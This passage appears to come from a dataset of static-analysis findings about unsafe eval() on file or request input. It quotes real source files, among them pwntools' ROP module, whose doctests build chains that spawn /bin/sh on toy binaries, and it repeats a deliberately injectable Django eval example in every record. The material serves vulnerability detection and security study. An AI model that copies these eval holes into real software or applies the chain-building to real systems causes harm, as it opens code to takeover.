integers\n \"\"\"\n\n def separator():\n line = [\"+\" + 7 * \"-\" for _ in range(3)] + [\"+\"]\n print(''.join(line))\n\n for r, row in enumerate(problem):\n if r % 3 == 0:\n separator()\n\n row = [str(v) if v > 0 else \".\" for v in row]\n\n for i in range(0, 13, 4):\n row.insert(i, \"|\")\n\n print(' '.join(row))\n\n separator()\n\n\ndef ask_yes_or_no(prompt):\n \"\"\"\n Specialized input to ask confirmation for a question.\n\n :param str prompt: Question to be confirmed\n :return: The user confirmation\n :rtype: bool\n \"\"\"\n\n acceptable = set([\"Y\", \"YES\", \"N\", \"NO\"])\n\n choice = \"\"\n while choice not in acceptable:\n choice = input(prompt + \" (y/n)? \").upper()\n\n return choice[0] == \"Y\"\n\n\ndef main():\n \"\"\" Program execution entry point. \"\"\"\n\n keep_solving = True\n while keep_solving:\n problem = None\n file_name = input(\"Sudoku problem file: \")\n try:\n problem = read_sudoku(file_name)\n except:\n print(\"'{}' is invalid.\".format(file_name))\n\n if problem:\n print(\"\\n{:^24}\".format(\"PROBLEM\"))\n print_sudoku(problem)\n problemAsSets = convertToSets(problem)\n solve(problemAsSets)\n\n print(\"\\n{:^24}\".format(\"SOLUTION\"))\n solution = convertToInts(problemAsSets)\n print_sudoku(solution)\n\n if not isSolved(problemAsSets):\n print(\"\\nList of unsolved locations and possible numbers:\")\n for r, row in enumerate(problemAsSets):\n for c, col in enumerate(row):\n if len(col) > 1:\n print(\"({}, {}) -> {}\".format(r, c, col))\n\n keep_solving = ask_yes_or_no(\"\\nDo you want to solve another problem\")\n\n\n# Required to avoid running this immediately when imported from other scripts.\n# For example, unit testing.\nif __name__ == '__main__':\n main()", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readlines"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "join"}}, {"lineNo": 19, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "fe45edfb05f645e37540ff049f5ca634b8782400523c07e12423da838a15e2b7", "license": {"spdx": ["MIT"], "repo": "jelambrar96/keras2caffe-1", "path": "examples/SqueezeNet/convert.py", "repo_head_hexsha": "58fa1923191019b4f5fdf5b8081441d27a53f499", "stack_hexsha": "23e6ab09363916de76e55e5ea4a0c245023de363", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 49, "entireCode": "import sys\nsys.path.append('../../')\nimport keras2caffe\n\nDATA_DIR='../../data/'\n\nimport caffe\nimport cv2\nimport numpy as np\n\nimport sys\nsys.path.append('/media/toshiba_ml/models/keras-models/keras-squeezenet')\n\nfrom keras_squeezenet import SqueezeNet\n\n#TensorFlow backend uses all GPU memory by default, so we need limit\nimport tensorflow as tf\nfrom keras.backend.tensorflow_backend import set_session\nconfig = tf.ConfigProto()\nconfig.gpu_options.per_process_gpu_memory_fraction = 0.5\nset_session(tf.Session(config=config))\n\n#converting\nkeras_model = SqueezeNet()\n\nkeras2caffe.convert(keras_model, 'deploy.prototxt', 'SqueezeNet.caffemodel')\n\n#testing the model\n\ncaffe.set_mode_gpu()\nnet = caffe.Net('deploy.prototxt', 'SqueezeNet.caffemodel', caffe.TEST)\n\nimg = cv2.imread(DATA_DIR+'bear.jpg')\n\nimg = cv2.resize(img, (227, 227))\nimg = img[...,::-1] #RGB 2 BGR\n\ndata = np.array(img, dtype=np.float32)\ndata = data.transpose((2, 0, 1))\ndata.shape = (1,) + data.shape\n\ndata -= 128\n\nnet.blobs['data'].data[...] = data\n\nout = net.forward()\npreds = out['global_average_pooling2d_1']\n\nclasses = eval(open(DATA_DIR+'class_names.txt', 'r').read())\nprint(\"Class is: \" + classes[np.argmax(preds)])\nprint(\"Certainty is: \" + str(preds[0][np.argmax(preds)]))\n\n\n", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 49, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "c38522ec08ae0a5a98ebd0c970ca1abdcaf7905d04e7790f6fcfda9faa5b69c0", "license": {"spdx": ["MIT"], "repo": "RichardBlazek/PyImperit", "path": "file_load.py", "repo_head_hexsha": "2d93e56e3c12e33098a0cda6cedd8e099ef02955", "stack_hexsha": "9e257d86b409341ae7f56baf6587ec04c768a09d", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 8, "entireCode": "class FileLoader:\n\tdef __init__(self, path, scope=None):\n\t\tself._path=path\n\t\tself._scope=scope\n\t@property\n\tdef value(self):\n\t\twith open(self._path, encoding='UTF-8') as f:\n\t\t\treturn eval(f.read(), self._scope)\n\n\t@value.setter\n\tdef value(self, new_value):\n\t\twith open(self._path, mode='w', encoding='UTF-8') as f:\n\t\t\tf.write(repr(new_value))", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 7, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 8, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 8, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "b58456f04ffd3760ee4a4ae54ee7c3549cee292ae3b3d81ac3eadd2b4c24ee83", "license": {"spdx": ["MIT"], "repo": "WildfootW/pwntools", "path": "pwnlib/rop/rop.py", "repo_head_hexsha": "41ea0f6da9329002ca536df13090e704d2f341e1", "stack_hexsha": "0a745858d12c2af7006393ba735ef36e3d8176d9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 1034, "entireCode": "r\"\"\"\nReturn Oriented Programming\n\nManual ROP\n-------------------\n\nThe ROP tool can be used to build stacks pretty trivially.\nLet's create a fake binary which has some symbols which might\nhave been useful.\n\n >>> context.clear(arch='i386')\n >>> binary = ELF.from_assembly('add esp, 0x10; ret')\n >>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'exit': 0xfeedface}\n\nCreating a ROP object which looks up symbols in the binary is\npretty straightforward.\n\n >>> rop = ROP(binary)\n\nWith the ROP object, you can manually add stack frames.\n\n >>> rop.raw(0)\n >>> rop.raw(unpack(b'abcd'))\n >>> rop.raw(2)\n\nInspecting the ROP stack is easy, and laid out in an easy-to-read\nmanner.\n\n >>> print(rop.dump())\n 0x0000: 0x0\n 0x0004: 0x64636261\n 0x0008: 0x2\n\nThe ROP module is also aware of how to make function calls with\nstandard Linux ABIs.\n\n >>> rop.call('read', [4,5,6])\n >>> print(rop.dump())\n 0x0000: 0x0\n 0x0004: 0x64636261\n 0x0008: 0x2\n 0x000c: 0xdeadbeef read(4, 5, 6)\n 0x0010: b'eaaa' \n 0x0014: 0x4 arg0\n 0x0018: 0x5 arg1\n 0x001c: 0x6 arg2\n\nYou can also use a shorthand to invoke calls.\nThe stack is automatically adjusted for the next frame\n\n >>> rop.write(7,8,9)\n >>> rop.exit()\n >>> print(rop.dump())\n 0x0000: 0x0\n 0x0004: 0x64636261\n 0x0008: 0x2\n 0x000c: 0xdeadbeef read(4, 5, 6)\n 0x0010: 0x10000000 add esp, 0x10; ret\n 0x0014: 0x4 arg0\n 0x0018: 0x5 arg1\n 0x001c: 0x6 arg2\n 0x0020: b'iaaa' \n 0x0024: 0xdecafbad write(7, 8, 9)\n 0x0028: 0x10000000 add esp, 0x10; ret\n 0x002c: 0x7 arg0\n 0x0030: 0x8 arg1\n 0x0034: 0x9 arg2\n 0x0038: b'oaaa' \n 0x003c: 0xfeedface exit()\n\nROP Example\n-------------------\n\nLet's assume we have a trivial binary that just reads some data\nonto the stack, and returns.\n\n >>> context.clear(arch='i386')\n >>> c = constants\n >>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)\n >>> assembly += 'ret\\n'\n\nLet's provide some simple gadgets:\n\n >>> assembly += 'add_esp: add esp, 0x10; ret\\n'\n\nAnd perhaps a nice \"write\" function.\n\n >>> assembly += 'write: enter 0,0\\n'\n >>> assembly += ' mov ebx, [ebp+4+4]\\n'\n >>> assembly += ' mov ecx, [ebp+4+8]\\n'\n >>> assembly += ' mov edx, [ebp+4+12]\\n'\n >>> assembly += shellcraft.write('ebx', 'ecx', 'edx')\n >>> assembly += ' leave\\n'\n >>> assembly += ' ret\\n'\n >>> assembly += 'flag: .asciz \"The flag\"\\n'\n\nAnd a way to exit cleanly.\n\n >>> assembly += 'exit: ' + shellcraft.exit(0)\n >>> binary = ELF.from_assembly(assembly)\n\nFinally, let's build our ROP stack\n\n >>> rop = ROP(binary)\n >>> rop.write(c.STDOUT_FILENO, binary.symbols['flag'], 8)\n >>> rop.exit()\n >>> print(rop.dump())\n 0x0000: 0x10000012 write(STDOUT_FILENO, 0x10000026, 8)\n 0x0004: 0x1000000e add esp, 0x10; ret\n 0x0008: 0x1 STDOUT_FILENO\n 0x000c: 0x10000026 flag\n 0x0010: 0x8 arg2\n 0x0014: b'faaa' \n 0x0018: 0x1000002f exit()\n\nThe raw data from the ROP stack is available via `str`.\n\n >>> raw_rop = rop.chain()\n >>> print(enhex(raw_rop))\n 120000100e000010010000002600001008000000666161612f000010\n\nLet's try it out!\n\n >>> p = process(binary.path)\n >>> p.send(raw_rop)\n >>> print(repr(p.recvall(timeout=5)))\n b'The flag'\n\nROP Example (amd64)\n-------------------\n\nFor amd64 binaries, the registers are loaded off the stack. Pwntools can do\nbasic reasoning about simple \"pop; pop; add; ret\"-style gadgets, and satisfy\nrequirements so that everything \"just works\".\n\n >>> context.clear(arch='amd64')\n >>> assembly = 'pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret; target: ret'\n >>> binary = ELF.from_assembly(assembly)\n >>> rop = ROP(binary)\n >>> rop.target(1,2,3)\n >>> print(rop.dump())\n 0x0000: 0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret\n 0x0008: 0x3 [arg2] rdx = 3\n 0x0010: 0x1 [arg0] rdi = 1\n 0x0018: 0x2 [arg1] rsi = 2\n 0x0020: b'iaaajaaa' \n 0x0028: b'kaaalaaa' \n 0x0030: b'maaanaaa' \n 0x0038: b'oaaapaaa' \n 0x0040: 0x10000008 target\n >>> rop.target(1)\n >>> print(rop.dump())\n 0x0000: 0x10000000 pop rdx; pop rdi; pop rsi; add rsp, 0x20; ret\n 0x0008: 0x3 [arg2] rdx = 3\n 0x0010: 0x1 [arg0] rdi = 1\n 0x0018: 0x2 [arg1] rsi = 2\n 0x0020: b'iaaajaaa' \n 0x0028: b'kaaalaaa' \n 0x0030: b'maaanaaa' \n 0x0038: b'oaaapaaa' \n 0x0040: 0x10000008 target\n 0x0048: 0x10000001 pop rdi; pop rsi; add rsp, 0x20; ret\n 0x0050: 0x1 [arg0] rdi = 1\n 0x0058: b'waaaxaaa' \n 0x0060: b'yaaazaab' \n 0x0068: b'baabcaab' \n 0x0070: b'daabeaab' \n 0x0078: b'faabgaab' \n 0x0080: 0x10000008 target\n\nPwntools will also filter out some bad instructions while setting the registers\n( e.g. syscall, int 0x80... )\n\n >>> assembly = 'syscall; pop rdx; pop rsi; ret ; pop rdi ; int 0x80; pop rsi; pop rdx; ret ; pop rdi ; ret'\n >>> binary = ELF.from_assembly(assembly)\n >>> rop = ROP(binary)\n >>> rop.call(0xdeadbeef, [1, 2, 3])\n >>> print(rop.dump())\n 0x0000: 0x1000000b pop rdi; ret\n 0x0008: 0x1 [arg0] rdi = 1\n 0x0010: 0x10000002 pop rdx; pop rsi; ret\n 0x0018: 0x3 [arg2] rdx = 3\n 0x0020: 0x2 [arg1] rsi = 2\n 0x0028: 0xdeadbeef\n\nROP + Sigreturn\n-----------------------\n\nIn some cases, control of the desired register is not available.\nHowever, if you have control of the stack, EAX, and can find a\n`int 0x80` gadget, you can use sigreturn.\n\nEven better, this happens automagically.\n\nOur example binary will read some data onto the stack, and\nnot do anything else interesting.\n\n >>> context.clear(arch='i386')\n >>> c = constants\n >>> assembly = 'read:' + shellcraft.read(c.STDIN_FILENO, 'esp', 1024)\n >>> assembly += 'ret\\n'\n >>> assembly += 'pop eax; ret\\n'\n >>> assembly += 'int 0x80\\n'\n >>> assembly += 'binsh: .asciz \"/bin/sh\"'\n >>> binary = ELF.from_assembly(assembly)\n\nLet's create a ROP object and invoke the call.\n\n >>> context.kernel = 'amd64'\n >>> rop = ROP(binary)\n >>> binsh = binary.symbols['binsh']\n >>> rop.execve(binsh, 0, 0)\n\nThat's all there is to it.\n\n >>> print(rop.dump())\n 0x0000: 0x1000000e pop eax; ret\n 0x0004: 0x77 [arg0] eax = SYS_sigreturn\n 0x0008: 0x1000000b int 0x80\n 0x000c: 0x0 gs\n 0x0010: 0x0 fs\n 0x0014: 0x0 es\n 0x0018: 0x0 ds\n 0x001c: 0x0 edi\n 0x0020: 0x0 esi\n 0x0024: 0x0 ebp\n 0x0028: 0x0 esp\n 0x002c: 0x10000012 ebx = binsh\n 0x0030: 0x0 edx\n 0x0034: 0x0 ecx\n 0x0038: 0xb eax = SYS_execve\n 0x003c: 0x0 trapno\n 0x0040: 0x0 err\n 0x0044: 0x1000000b int 0x80\n 0x0048: 0x23 cs\n 0x004c: 0x0 eflags\n 0x0050: 0x0 esp_at_signal\n 0x0054: 0x2b ss\n 0x0058: 0x0 fpstate\n\nLet's try it out!\n\n >>> p = process(binary.path)\n >>> p.send(rop.chain())\n >>> time.sleep(1)\n >>> p.sendline(b'echo hello; exit')\n >>> p.recvline()\n b'hello\\n'\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\n\nimport collections\nimport copy\nimport hashlib\nimport itertools\nimport os\nimport re\nimport six\nimport string\nimport sys\nimport tempfile\n\nfrom pwnlib import abi\nfrom pwnlib import constants\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.elf import ELF\nfrom pwnlib.log import getLogger\nfrom pwnlib.rop import srop\nfrom pwnlib.rop.call import AppendedArgument\nfrom pwnlib.rop.call import Call\nfrom pwnlib.rop.call import CurrentStackPointer\nfrom pwnlib.rop.call import NextGadgetAddress\nfrom pwnlib.rop.call import StackAdjustment\nfrom pwnlib.rop.gadgets import Gadget\nfrom pwnlib.util import lists\nfrom pwnlib.util import packing\nfrom pwnlib.util.cyclic import cyclic\nfrom pwnlib.util.packing import pack\n\nlog = getLogger(__name__)\n__all__ = ['ROP']\n\n\nclass Padding(object):\n \"\"\"\n Placeholder for exactly one pointer-width of padding.\n \"\"\"\n def __init__(self, name=''):\n self.name = name\n\nclass DescriptiveStack(list):\n \"\"\"\n List of resolved ROP gadgets that correspond to the ROP calls that\n the user has specified. Also includes\n \"\"\"\n\n #: Base address\n address = 0\n\n #: Dictionary of ``{address: [list of descriptions]}``\n descriptions = {}\n\n def __init__(self, address):\n self.descriptions = collections.defaultdict(lambda: [])\n self.address = address or 0\n\n @property\n def next(self):\n return self.address + len(self) * context.bytes\n\n def describe(self, text, address = None):\n if address is None:\n address = self.next\n self.descriptions[address] = text\n\n def dump(self):\n rv = []\n for i, data in enumerate(self):\n addr = self.address + i * context.bytes\n off = None\n line = '0x%04x:' % addr\n if isinstance(data, (str, bytes)):\n line += ' %16r' % data\n elif isinstance(data, six.integer_types):\n line += ' %#16x' % data\n if self.address != 0 and self.address < data < self.next:\n off = data - addr\n else:\n log.error(\"Don't know how to dump %r\" % data)\n desc = self.descriptions.get(addr, '')\n if desc:\n line += ' %s' % desc\n if off is not None:\n line += ' (+%#x)' % off\n rv.append(line)\n\n return '\\n'.join(rv)\n\n\nclass ROP(object):\n r\"\"\"Class which simplifies the generation of ROP-chains.\n\n Example:\n\n .. code-block:: python\n\n elf = ELF('ropasaurusrex')\n rop = ROP(elf)\n rop.read(0, elf.bss(0x80))\n rop.dump()\n # ['0x0000: 0x80482fc (read)',\n # '0x0004: 0xdeadbeef',\n # '0x0008: 0x0',\n # '0x000c: 0x80496a8']\n bytes(rop)\n # '\\xfc\\x82\\x04\\x08\\xef\\xbe\\xad\\xde\\x00\\x00\\x00\\x00\\xa8\\x96\\x04\\x08'\n\n >>> context.clear(arch = \"i386\", kernel = 'amd64')\n >>> assembly = 'int 0x80; ret; add esp, 0x10; ret; pop eax; ret'\n >>> e = ELF.from_assembly(assembly)\n >>> e.symbols['funcname'] = e.address + 0x1234\n >>> r = ROP(e)\n >>> r.funcname(1, 2)\n >>> r.funcname(3)\n >>> r.execve(4, 5, 6)\n >>> print(r.dump())\n 0x0000: 0x10001234 funcname(1, 2)\n 0x0004: 0x10000003 add esp, 0x10; ret\n 0x0008: 0x1 arg0\n 0x000c: 0x2 arg1\n 0x0010: b'eaaa' \n 0x0014: b'faaa' \n 0x0018: 0x10001234 funcname(3)\n 0x001c: 0x10000007 pop eax; ret\n 0x0020: 0x3 arg0\n 0x0024: 0x10000007 pop eax; ret\n 0x0028: 0x77 [arg0] eax = SYS_sigreturn\n 0x002c: 0x10000000 int 0x80\n 0x0030: 0x0 gs\n 0x0034: 0x0 fs\n 0x0038: 0x0 es\n 0x003c: 0x0 ds\n 0x0040: 0x0 edi\n 0x0044: 0x0 esi\n 0x0048: 0x0 ebp\n 0x004c: 0x0 esp\n 0x0050: 0x4 ebx\n 0x0054: 0x6 edx\n 0x0058: 0x5 ecx\n 0x005c: 0xb eax = SYS_execve\n 0x0060: 0x0 trapno\n 0x0064: 0x0 err\n 0x0068: 0x10000000 int 0x80\n 0x006c: 0x23 cs\n 0x0070: 0x0 eflags\n 0x0074: 0x0 esp_at_signal\n 0x0078: 0x2b ss\n 0x007c: 0x0 fpstate\n\n >>> r = ROP(e, 0x8048000)\n >>> r.funcname(1, 2)\n >>> r.funcname(3)\n >>> r.execve(4, 5, 6)\n >>> print(r.dump())\n 0x8048000: 0x10001234 funcname(1, 2)\n 0x8048004: 0x10000003 add esp, 0x10; ret\n 0x8048008: 0x1 arg0\n 0x804800c: 0x2 arg1\n 0x8048010: b'eaaa' \n 0x8048014: b'faaa' \n 0x8048018: 0x10001234 funcname(3)\n 0x804801c: 0x10000007 pop eax; ret\n 0x8048020: 0x3 arg0\n 0x8048024: 0x10000007 pop eax; ret\n 0x8048028: 0x77 [arg0] eax = SYS_sigreturn\n 0x804802c: 0x10000000 int 0x80\n 0x8048030: 0x0 gs\n 0x8048034: 0x0 fs\n 0x8048038: 0x0 es\n 0x804803c: 0x0 ds\n 0x8048040: 0x0 edi\n 0x8048044: 0x0 esi\n 0x8048048: 0x0 ebp\n 0x804804c: 0x8048080 esp\n 0x8048050: 0x4 ebx\n 0x8048054: 0x6 edx\n 0x8048058: 0x5 ecx\n 0x804805c: 0xb eax = SYS_execve\n 0x8048060: 0x0 trapno\n 0x8048064: 0x0 err\n 0x8048068: 0x10000000 int 0x80\n 0x804806c: 0x23 cs\n 0x8048070: 0x0 eflags\n 0x8048074: 0x0 esp_at_signal\n 0x8048078: 0x2b ss\n 0x804807c: 0x0 fpstate\n\n\n >>> elf = ELF.from_assembly('ret')\n >>> r = ROP(elf)\n >>> r.ret.address == 0x10000000\n True\n >>> r = ROP(elf, badchars=b'\\x00')\n >>> r.gadgets == {}\n True\n >>> r.ret is None\n True\n \"\"\"\n def __init__(self, elfs, base = None, badchars = b'', **kwargs):\n \"\"\"\n Arguments:\n elfs(list): List of :class:`.ELF` objects for mining\n base(int): Stack address where the first byte of the ROP chain lies, if known.\n badchars(str): Characters which should not appear in ROP gadget addresses.\n \"\"\"\n import ropgadget\n\n # Permit singular ROP(elf) vs ROP([elf])\n if isinstance(elfs, ELF):\n elfs = [elfs]\n elif isinstance(elfs, (bytes, six.text_type)):\n elfs = [ELF(elfs)]\n\n #: List of individual ROP gadgets, ROP calls, SROP frames, etc.\n #: This is intended to be the highest-level abstraction that we can muster.\n self._chain = []\n\n #: List of ELF files which are available for mining gadgets\n self.elfs = elfs\n\n #: Stack address where the first byte of the ROP chain lies, if known.\n self.base = base\n\n #: Whether or not the ROP chain directly sets the stack pointer to a value\n #: which is not contiguous\n self.migrated = False\n\n #: Characters which should not appear in ROP gadget addresses.\n self._badchars = set(badchars)\n\n self.__load()\n\n @staticmethod\n @LocalContext\n def from_blob(blob, *a, **kw):\n return ROP(ELF.from_bytes(blob, *a, **kw))\n\n def setRegisters(self, registers):\n \"\"\"\n Returns an list of addresses/values which will set the specified register context.\n\n Arguments:\n registers(dict): Dictionary of ``{register name: value}``\n\n Returns:\n A list of tuples, ordering the stack.\n\n Each tuple is in the form of ``(value, name)`` where ``value`` is either a\n gadget address or literal value to go on the stack, and ``name`` is either\n a string name or other item which can be \"unresolved\".\n\n Note:\n This is basically an implementation of the Set Cover Problem, which is\n NP-hard. This means that we will take polynomial time N**2, where N is\n the number of gadgets. We can reduce runtime by discarding useless and\n inferior gadgets ahead of time.\n \"\"\"\n if not registers:\n return []\n\n regset = set(registers)\n\n bad_instructions = set(('syscall', 'sysenter', 'int 0x80'))\n \n # Collect all gadgets which use these registers\n # Also collect the \"best\" gadget for each combination of registers\n gadgets = []\n best_gadgets = {}\n\n for gadget in self.gadgets.values():\n # Do not use gadgets which doesn't end with 'ret'\n if gadget.insns[-1] != 'ret':\n continue\n # Do not use gadgets which contain 'syscall' or 'int'\n if set(gadget.insns) & bad_instructions:\n continue\n\n touched = tuple(regset & set(gadget.regs))\n\n if not touched:\n continue\n\n old = best_gadgets.get(touched, gadget)\n\n # if we have a new gadget for the touched registers, choose it\n # if the new gadget requires less stack space, choose it\n # if both gadgets require same stack space, choose the one with less instructions\n if (old is gadget) \\\n or (old.move > gadget.move) \\\n or (old.move == gadget.move and len(old.insns) > len(gadget.insns)):\n best_gadgets[touched] = gadget\n\n winner = None\n budget = 999999999\n\n for num_gadgets in range(len(registers)):\n for combo in itertools.combinations(sorted(best_gadgets.values(), key=repr, reverse=True), 1+num_gadgets):\n # Is this better than what we can already do?\n cost = sum((g.move for g in combo))\n if cost > budget:\n continue\n\n # Does it hit all of the registers we want?\n coverage = set(sum((g.regs for g in combo), [])) & regset\n\n if coverage != regset:\n continue\n\n # It is better than what we had, and hits all of the registers.\n winner = combo\n budget = cost\n\n if not winner:\n log.error(\"Could not satisfy setRegisters(%r)\", registers)\n\n # We have our set of \"winner\" gadgets, let's build a stack!\n stack = []\n\n for gadget in winner:\n moved = 8 # Account for the gadget itself\n goodregs = set(gadget.regs) & regset\n name = \",\".join(goodregs)\n stack.append((gadget.address, gadget))\n for r in gadget.regs:\n moved += 8\n if r in registers:\n stack.append((registers[r], r))\n else:\n stack.append((Padding('' % r), r))\n\n for slot in range(moved, gadget.move, context.bytes):\n left = gadget.move - slot\n stack.append((Padding('' % left), 'stack padding'))\n\n return stack\n\n def resolve(self, resolvable):\n \"\"\"Resolves a symbol to an address\n\n Arguments:\n resolvable(str,int): Thing to convert into an address\n\n Returns:\n int containing address of 'resolvable', or None\n \"\"\"\n if isinstance(resolvable, str):\n for elf in self.elfs:\n if resolvable in elf.symbols:\n return elf.symbols[resolvable]\n\n if isinstance(resolvable, six.integer_types):\n return resolvable\n\n def unresolve(self, value):\n \"\"\"Inverts 'resolve'. Given an address, it attempts to find a symbol\n for it in the loaded ELF files. If none is found, it searches all\n known gadgets, and returns the disassembly\n\n Arguments:\n value(int): Address to look up\n\n Returns:\n String containing the symbol name for the address, disassembly for a gadget\n (if there's one at that address), or an empty string.\n \"\"\"\n for elf in self.elfs:\n for name, addr in elf.symbols.items():\n if addr == value:\n return name\n\n if value in self.gadgets:\n return '; '.join(self.gadgets[value].insns)\n return ''\n\n def generatePadding(self, offset, count):\n \"\"\"\n Generates padding to be inserted into the ROP stack.\n\n >>> rop = ROP([])\n >>> val = rop.generatePadding(5,15)\n >>> cyclic_find(val[:4])\n 5\n >>> len(val)\n 15\n >>> rop.generatePadding(0,0)\n b''\n\n \"\"\"\n\n # Ensure we don't generate a cyclic pattern which contains badchars\n alphabet = b''.join(packing.p8(c) for c in bytearray(string.ascii_lowercase.encode()) if c not in self._badchars)\n\n if count:\n return cyclic(offset + count, alphabet=alphabet)[-count:]\n return b''\n\n def describe(self, object):\n \"\"\"\n Return a description for an object in the ROP stack\n \"\"\"\n if isinstance(object, (Call, constants.Constant)):\n return str(object)\n if isinstance(object, six.integer_types):\n return self.unresolve(object)\n if isinstance(object, (bytes, six.text_type)):\n return repr(object)\n if isinstance(object, Gadget):\n return '; '.join(object.insns)\n\n def build(self, base = None, description = None):\n \"\"\"\n Construct the ROP chain into a list of elements which can be passed\n to :func:`.flat`.\n\n Arguments:\n base(int):\n The base address to build the rop-chain from. Defaults to\n :attr:`base`.\n description(dict):\n Optional output argument, which will gets a mapping of\n ``address: description`` for each address on the stack,\n starting at ``base``.\n \"\"\"\n if base is None:\n base = self.base or 0\n\n stack = DescriptiveStack(base)\n chain = self._chain\n\n #\n # First pass\n #\n # Get everything onto the stack and save as much descriptive information\n # as possible.\n #\n # The only replacements performed are to add stack adjustment gadgets\n # (to move SP to the next gadget after a Call) and NextGadgetAddress,\n # which can only be calculated in this pass.\n #\n iterable = enumerate(chain)\n for idx, slot in iterable:\n\n remaining = len(chain) - 1 - idx\n address = stack.next\n\n # Integers can just be added.\n # Do our best to find out what the address is.\n if isinstance(slot, six.integer_types):\n stack.describe(self.describe(slot))\n stack.append(slot)\n\n\n # Byte blobs can also be added, however they must be\n # broken down into pointer-width blobs.\n elif isinstance(slot, (bytes, six.text_type)):\n stack.describe(self.describe(slot))\n if not isinstance(slot, bytes):\n slot = slot.encode()\n slot += self.generatePadding(stack.next, len(slot) % context.bytes)\n\n for chunk in lists.group(context.bytes, slot):\n stack.append(chunk)\n\n elif isinstance(slot, srop.SigreturnFrame):\n stack.describe(\"Sigreturn Frame\")\n\n if slot.sp in (0, None) and self.base:\n slot.sp = stack.next + 